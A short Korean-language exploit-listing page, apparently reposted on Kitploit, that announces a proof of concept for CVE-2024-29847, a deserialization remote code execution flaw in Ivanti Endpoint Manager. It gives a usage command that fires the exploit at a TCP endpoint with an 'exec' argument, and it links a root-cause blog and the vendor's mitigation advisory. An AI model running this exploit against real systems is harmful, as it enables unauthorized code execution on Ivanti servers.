CVE-2024-29847 — CVE-2024-29847용 익스플로잇 | Kitploit

공유

CVE-2024-29847

Ivanti Endpoint Manager AgentPortal의 신뢰할 수 없는 데이터 역직렬화 원격 코드 실행 취약점(CVE-2024-29847)에 대한 PoC

취약점에 대한 근본 원인 분석은 제 블로그에서 확인할 수 있습니다:

https://summoning.team/blog/ivanti-epm-CVE-2024-29847-deserialization-RCE/

사용법

CVE-2024-29847.exe --uselease --installdir "C:\Program Files\LANDesk\ManagementSuite\LANDesk\ManagementSuite\Core\Core.Webservices" tcp://192.168.0.200:49669/LDSM exec test

완화 조치

최신 버전으로 업데이트하거나 다음 링크를 통해 완화 조치를 취하십시오

https://forums.ivanti.com/s/article/Security-Advisory-EPM-September-2024-for-EPM-2024-and-EPM-2022?language=en_US

최신 보안 연구를 위해 Twitter(X)에서 팔로우하세요:

SinSinology